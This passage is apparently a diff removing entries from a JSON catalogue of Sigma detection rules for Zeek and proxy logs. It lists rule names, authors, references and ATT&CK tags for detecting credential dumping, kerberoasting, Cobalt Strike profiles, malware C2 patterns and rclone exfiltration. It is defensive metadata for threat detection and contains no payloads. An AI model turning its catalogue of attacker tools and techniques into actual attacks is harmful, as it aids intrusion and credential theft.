"https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml", - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.003" - ] - }, - "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", - "value": "Possible Impacket SecretDump Remote Activity - Zeek" - }, - { - "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", - "meta": { - "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "creation_date": "2020/04/02", - "falsepositive": [ - "Update the excluded named pipe to filter out any newly observed legit named pipe" - ], - "filename": "zeek_smb_converted_win_lm_namedpipe.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_lm_namedpipe.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", - "value": "First Time Seen Remote Named Pipe - Zeek" - }, - { - "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", - "meta": { - "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "creation_date": "2020/04/02", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_smb_converted_win_susp_psexec.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml", - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", - "value": "Suspicious PsExec Execution - Zeek" - }, - { - "description": "Detects known sensitive file extensions via Zeek", - "meta": { - "author": "Samir Bousseaden, @neu5ron", - "creation_date": "2020/04/02", - "falsepositive": [ - "Help Desk operator doing backup or re-imaging end user machine or backup software", - "Users working with these data types or exchanging message files" - ], - "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml" - ], - "tags": [ - "attack.collection" - ] - }, - "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", - "value": "Suspicious Access to Sensitive File Extensions - Zeek" - }, - { - "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", - "meta": { - "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", - "creation_date": "2020/04/02", - "falsepositive": [ - "Transferring sensitive files for legitimate administration work by legitimate administrator" - ], - "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml", - "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.001", - "attack.t1003.003" - ] - }, - "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", - "value": "Transferring Files with Credential Data via Network Shares - Zeek" - }, - { - "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", - "meta": { - "author": "sigma", - "creation_date": "2020/02/12", - "falsepositive": [ - "Normal enterprise SPN requests activity" - ], - "filename": "zeek_susp_kerberos_rc4.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml", - "https://adsecurity.org/?p=3458" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", - "value": "Kerberos Network Traffic RC4 Ticket Encryption" - }, - { - "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", - "meta": { - "author": "Axel Olsson", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate use by administrators" - ], - "filename": "proxy_adv_ip_port_scanner_upd_check.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.advanced-port-scanner.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml", - "https://www.advanced-ip-scanner.com/" - ], - "tags": [ - "attack.discovery", - "attack.t1590" - ] - }, - "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", - "value": "Advanced IP/Port Scanner Update Check" - }, - { - "description": "Detects suspicious user agent string of APT40 Dropbox tool", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/11/12", - "falsepositive": [ - "Old browsers" - ], - "filename": "proxy_apt40.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml", - "Internal research from Florian Roth" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", - "value": "APT40 Dropbox Tool User Agent" - }, - { - "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "proxy_apt_domestic_kitten.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml", - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", - "value": "Domestic Kitten FurBall Malware Pattern" - }, - { - "description": "Detects Baby Shark C2 Framework communication patterns", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/06/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_baby_shark.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", - "value": "BabyShark Agent Pattern" - }, - { - "description": "Detects HTTP requests used by Chafer malware", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_chafer_malware.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://securelist.com/chafer-used-remexi-malware/89538/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "fb502828-2db0-438e-93e6-801c7548686d", - "value": "Chafer Malware URL Pattern" - }, - { - "description": "Detects Malleable Amazon Profile", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/11/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_cobalt_amazon.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml", - "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", - "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile" - }, - { - "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_cobalt_malformed_uas.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml", - "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", - "value": "CobaltStrike Malformed UAs in Malleable Profiles" - }, - { - "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/11/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_cobalt_ocsp.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml", - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", - "value": "CobaltStrike Malleable (OCSP) Profile" - }, - { - "description": "Detects Malleable OneDrive Profile", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/11/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_cobalt_onedrive.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml", - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", - "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile" - }, - { - "description": "Detects WebDav DownloadCradle", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/04/06", - "falsepositive": [ - "Administrative scripts that download files from the Internet", - "Administrative scripts that retrieve certain website contents", - "Legitimate WebDAV administration" - ], - "filename": "proxy_downloadcradle_webdav.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", - "value": "Windows WebDAV User Agent" - }, - { - "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/11/08", - "falsepositive": [ - "Software downloads" - ], - "filename": "proxy_download_susp_dyndns.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1105", - "attack.t1568" - ] - }, - "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", - "value": "Download from Suspicious Dyndns Hosts" - }, - { - "description": "Detects download of certain file types from hosts in suspicious TLDs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/11/07", - "falsepositive": [ - "All kinds of software downloads" - ], - "filename": "proxy_download_susp_tlds_blacklist.yml", - "level": "low", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml", - "https://www.spamhaus.org/statistics/tlds/", - "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", - "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/" - ], - "tags": [ - "attack.initial_access", - "attack.t1566", - "attack.execution", - "attack.t1203", - "attack.t1204.002" - ] - }, - "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", - "value": "Download from Suspicious TLD" - }, - { - "description": "Detects executable downloads from suspicious remote systems", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/13", - "falsepositive": [ - "All kind of software downloads" - ], - "filename": "proxy_download_susp_tlds_whitelist.yml", - "level": "low", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566", - "attack.execution", - "attack.t1203", - "attack.t1204.002" - ] - }, - "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", - "value": "Download EXE from Suspicious TLD" - }, - { - "description": "Detects user agent and URI paths used by empire agents", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/13", - "falsepositive": [ - "Valid requests with this exact user agent to server scripts of the defined names" - ], - "filename": "proxy_empire_ua_uri_combos.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/BC-SECURITY/Empire", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", - "value": "Empire UserAgent URI Combo" - }, - { - "description": "Detects suspicious empty user agent strings in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_empty_ua.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml", - "https://twitter.com/Carlos_Perez/status/883455096645931008" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", - "value": "Empty User Agent" - }, - { - "description": "Detects URL pattern used by iOS Implant", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ios_implant.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml", - "https://twitter.com/craiu/status/1167358457344925696", - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.collection", - "attack.t1005", - "attack.t1119", - "attack.credential_access", - "attack.t1528", - "attack.t1552.001" - ] - }, - "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", - "value": "iOS Implant URL Pattern" - }, - { - "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/12/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_java_class_download.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" - ], - "tags": [ - "attack.initial_access" - ] - }, - "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", - "value": "Java Class Proxy Download" - }, - { - "description": "Detects Windows PowerShell Web Access", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/13", - "falsepositive": [ - "Administrative scripts that download files from the Internet", - "Administrative scripts that retrieve certain website contents" - ], - "filename": "proxy_powershell_ua.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "c8557060-9221-4448-8794-96320e6f3e74", - "value": "Windows PowerShell User Agent" - }, - { - "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/04/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_pwndrop.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml", - "https://breakdev.org/pwndrop/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.001", - "attack.t1102.003" - ] - }, - "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", - "value": "PwnDrp Access" - }, - { - "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/05", - "falsepositive": [ - "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" - ], - "filename": "proxy_raw_paste_service_access.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.virustotal.com/gui/domain/paste.ee/relations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.001", - "attack.t1102.003", - "attack.defense_evasion" - ] - }, - "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", - "value": "Raw Paste Service Access" - }, - { - "description": "Detects a flashplayer update from an unofficial location", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/10/25", - "falsepositive": [ - "Unknown flash download locations" - ], - "filename": "proxy_susp_flash_download_loc.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml", - "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb" - ], - "tags": [ - "attack.initial_access", - "attack.t1189", - "attack.execution", - "attack.t1204.002", - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", - "value": "Flash Player Update from Suspicious Location" - }, - { - "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/06/05", - "falsepositive": [ - "Legitimate use of Telegram bots in the company" - ], - "filename": "proxy_telegram_api.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.002" - ] - }, - "uuid": "b494b165-6634-483d-8c47-2026a6c52372", - "value": "Telegram API Access" - }, - { - "description": "Detects Turla ComRAT patterns", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_turla_comrat.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001", - "attack.g0010" - ] - }, - "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", - "value": "Turla ComRAT" - }, - { - "description": "Detects suspicious user agent strings used in APT malware in proxy logs", - "meta": { - "author": "Florian Roth, Markus Neis", - "creation_date": "2019/11/12", - "falsepositive": [ - "Old browsers" - ], - "filename": "proxy_ua_apt.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml", - "Internal Research" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", - "value": "APT User Agent" - }, - { - "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_bitsadmin_susp_ip.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190" - ] - }, - "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", - "value": "Bitsadmin to Uncommon IP Server Address" - }, - { - "description": "Detects Bitsadmin connections to domains with uncommon TLDs - https://twitter.com/jhencinski/status/1102695118455349248 - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2019/03/07", - "falsepositive": [ - "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" - ], - "filename": "proxy_ua_bitsadmin_susp_tld.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190" - ] - }, - "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", - "value": "Bitsadmin to Uncommon TLD" - }, - { - "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_cryptominer.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml", - "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", - "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", - "value": "Crypto Miner User Agent" - }, - { - "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_frameworks.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", - "value": "Exploit Framework User Agent" - }, - { - "description": "Detects suspicious user agent strings user by hack tools in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_hacktool.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", - "value": "Hack Tool User Agent" - }, - { - "description": "Detects suspicious user agent strings used by malware in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_malware.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml", - "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", - "https://perishablepress.com/blacklist/ua-2013.txt", - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", - "http://www.botopedia.org/search?searchword=scan&searchphrase=all" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", - "value": "Malware User Agent" - }, - { - "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", - "meta": { - "author": "Janantha Marasinghe", - "creation_date": "2022/10/18", - "falsepositive": [ - "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" - ], - "filename": "proxy_ua_rclone.yml", - "level": "medium", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://rclone.org/", - "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", - "value": "Rclone Activity via Proxy" - }, - { - "description": "Detects suspicious malformed user agent strings in proxy logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_susp.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", - "value": "Suspicious User Agent" - }, - { - "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ua_susp_base64.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", - "value": "Suspicious User Agent" - }, - { - "description": "Detects Ursnif C2 traffic.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ursnif_malware_c2_url.yml", - "level": "critical", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml", - "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001", - "attack.execution", - "attack.t1204.002", - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", - "value": "Ursnif Malware C2 URL Pattern" - }, - { - "description": "Detects download of Ursnif malware done by dropper documents.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_ursnif_malware_download_url.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - 